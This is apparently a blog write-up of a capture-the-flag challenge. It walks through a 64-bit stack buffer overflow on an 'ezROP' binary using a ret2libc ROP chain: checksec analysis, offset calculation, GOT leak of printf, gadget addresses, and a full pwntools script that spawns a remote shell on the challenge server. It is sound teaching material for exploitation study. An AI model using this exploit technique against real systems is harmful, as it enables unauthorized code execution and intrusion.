Home ROP Chain Exploitation - ret2libc stack overflow
Post
Cancel

ROP Chain Exploitation - ret2libc stack overflow

Understanding ROP: Return Oriented Programming

ROP is a powerful exploitation technique that chains together existing snippets of code (called gadgets) already present in binaries. Here’s how it works:

  • Each gadget ends with the assembly instruction ret, enabling sequential execution through stack control
  • This technique allows code execution when direct shellcode injection is blocked by NX (Non-Executable stack) protection
  • ROP is essential when modern security mitigations prevent traditional exploit methods

How ROP Works

  1. Overflow the buffer to gain control of the return address
  2. Point the return address to the first gadget
  3. Stack layout: [gadget1][data][gadget2][data][gadget3][data]...
  4. Chain execution: Each ret instruction jumps to the next address on the stack

Initial Reconnaissance

First, let’s check the binary’s security features using checksec:

1
2
3
4
5
6
7
8
9
10
$ pwn checksec ezROP
[*] '/mnt/c/Users/Lenovo/Desktop/POR1/ezROP'
    Arch:      amd64-64-little
    RELRO:     Partial RELRO
    Stack:     No canary found
    NX:        NX enabled
    PIE:       No PIE (0x400000)
    SHSTK:     Enabled
    IBT:       Enabled
    Stripped:  No

Security Analysis

  • No canary found: We can overflow the buffer without triggering stack protection
  • ⚠️ NX enabled: Stack is non-executable - we need ROP, can’t just inject shellcode
  • No PIE (0x400000): Binary loads at a fixed address - no need to leak base address
  • ⚠️ Partial RELRO: GOT is writeable, but with NX enabled, ROP is the best approach

Attack Path

Our strategy will be a two-stage attack:

  1. Stage 1: Buffer Overflow → ROP chain to leak libc → Defeat ASLR
  2. Stage 2: ROP chain to call system("/bin/sh") → Shell access

Confirming the Vulnerability

Using Cutter (reverse engineering tool), we can analyze the binary’s disassembly:

Buffer Overflow Analysis Decompiled Code

Buffer Size Calculation

The sub rsp, 0x70 instruction allocates space for local variables, but it doesn’t account for the saved Base Pointer (RBP) that sits between the buffer and the return address.

To control program execution, we must overflow through both:

1
2
3
4
 112 bytes  (0x70)  →  Fill the allocated buffer
+  8 bytes         →  Overwrite RBP (64-bit register)
-----------------
= 120 bytes (0x78) →  Total offset to reach return address

Import Analysis

Binary Imports

The binary imports printf, which we’ll use in our exploit:

  • Stage 1: Use printf to leak libc addresses
  • Stage 2: Calculate system() location in libc using the leak

Binary Analysis

1
2
3
4
$ file ezROP
ezROP: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically
linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6cbaa97
8b219e1a19b7f8132469b63d6dc53f722, for GNU/Linux 3.2.0, not stripped

Key characteristics:

  • ELF 64-bit LSB: x86-64 architecture (8 bytes per address)
  • Dynamically linked: Uses shared libraries (libc)
  • /lib64/ld-linux-x86-64.so.2: Standard Linux dynamic linker
  • GNU/Linux 3.2.0: Target OS system

Extracting PLT and GOT Addresses

Understanding PLT and GOT

  • PLT (Procedure Linkage Table): Contains stubs to call library functions
    • Address is fixed in the binary
    • We can call printf@plt directly from our ROP chain
  • GOT (Global Offset Table): Contains actual runtime addresses of library functions
    • This address is randomized by ASLR
    • We must read this to defeat ASLR

The Leak Strategy

If we can make the program call printf(printf@got), it will print printf’s actual runtime address in memory. Then we can calculate where everything else in libc is located!

1
2
3
$ objdump -d ezROP | grep "printf@plt"
0000000000401110 <printf@plt>:
  4012f8:    e8 c3 fd ff ff    call   4010c0 <printf@plt>
1
2
$ objdump -R ezROP | grep printf
0000000000404020 R_X86_64_JUMP_SLOT  printf@GLIBC_2.2.5

Key Addresses:

  • printf@plt = 0x4010c0 - We’ll use this to call printf in our ROP chain
  • printf@got = 0x404020 - Contains printf’s runtime address, which we’ll leak

Finding ROP Gadgets

Now we need gadgets that enable argument passing and stack alignment for our ROP chain.

Why Do We Need Gadgets?

When you overflow the buffer, you control the stack, not the registers. But printf needs its argument in the RDI register. The pop rdi; ret gadget takes the next value from the stack and moves it into RDI, then continues execution.

1
2
3
4
5
$ ROPgadget --binary ezROP | grep "pop rdi"
0x00000000004015a3 : pop rdi ; ret

$ ROPgadget --binary ezROP | grep -E ": ret$" | head -1
0x000000000040101a : ret

Gadget Analysis

  • First gadget (0x4015a3): pop rdi; ret
    • Loads stack values into RDI (first argument register for x86-64 calling convention)
  • Second gadget (0x40101a): ret
    • Provides 16-byte stack alignment required by modern libc functions

Finding main()

1
2
$ objdump -d ezROP | grep "<main>:"
000000000040150b <main>:

The main() function at 0x40150b serves as our return point after Stage 1. This enables the two-stage attack:

  1. Program accepts input for Stage 1 (leak libc)
  2. After leak, return to main
  3. Program prompts for input again
  4. Execute Stage 2 (spawn shell)

Docker Container Setup

We need to obtain the exact libc version used by the target environment. Libc function offsets vary between versions - using an incorrect version will result in miscalculated addresses and exploit failures.

Target libc version:

  • Base: glibc 2.31
  • Distro: Ubuntu 20.04 LTS
  • Package: libc6_2.31-0ubuntu9.9_amd64.so

The Exploit Script

Here’s the complete Python exploit using pwntools:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Exploit for the POR Challenge
from pwn import *

# ld = ELF("./ld-2.27.so")
exe = ELF("ezROP", checksec=False)
exe_rop = ROP(exe)
libc = ELF("libc6_2.31-0ubuntu9.9_amd64.so")
context.binary = exe

# ROP gadgets for chain construction
ret_addr = exe_rop.find_gadget(['ret'])[0]
pop_rdi_ret_addr = 0x00000000004015a3

# Connect to target server
io = remote("recruit.osiris.bar", 21002)

# Stage 1: Information Disclosure - Defeat ASLR
io.sendafter(b"name?\n",flat({
    0: b"\n",
    8: b"AAAAAAAA",
    0x70+0x8: [
        ret_addr,
        pop_rdi_ret_addr,
        exe.got["printf"],
        exe.plt["printf"],
        ret_addr,
        exe.sym["main"]
    ]
}))

io.recvuntil(b"??\n")
# Parse leaked printf address and calculate libc base
libc.address = int.from_bytes(io.recvuntil(b"My",drop=True),"little") - libc.sym["printf"]
print(hex(libc.address))

# Stage 2: Execute system to spawn shell
io.sendafter(b"name?\n",flat({
    0: b"\n",
    8: b"AAAAAAAA",
    0x70+0x8: [
        ret_addr,
        pop_rdi_ret_addr,
        next(libc.search(b"/bin/sh")),
        libc.sym["system"],
    ]
}))

# Get flag
io.interactive()

Exploitation and Flag Capture

Running the exploit against the target server:

Flag Capture

Exploit Breakdown

Lines 11-12: Define ROP gadgets for argument passing and stack alignment

Lines 18-27: Stage 1 ROP Chain for libc leak

  • Overflow buffer with padding
  • Use pop rdi gadget to load printf@got into RDI
  • Call printf@plt to print the address
  • Return to main() for Stage 2

Line 33: Calculate libc base address from leaked printf address

1
libc.address = leaked_printf - libc.sym["printf"]

Lines 37-45: Stage 2 ROP Chain for shell execution

  • Overflow buffer again
  • Use pop rdi gadget to load address of “/bin/sh” string into RDI
  • Call system() with “/bin/sh” as argument
  • Get shell access

Success! We’ve successfully:

  1. Connected to target server
  2. Leaked libc base address: 0x7fc66af0f000
  3. Spawned an interactive shell
  4. Captured the flag

This exploitation combined information disclosure (leaking libc through GOT), ROP chain construction (bypassing NX), and two-stage exploitation (defeating ASLR) to achieve code execution despite multiple modern security mitigations.

This post is licensed under CC BY 4.0 by the author.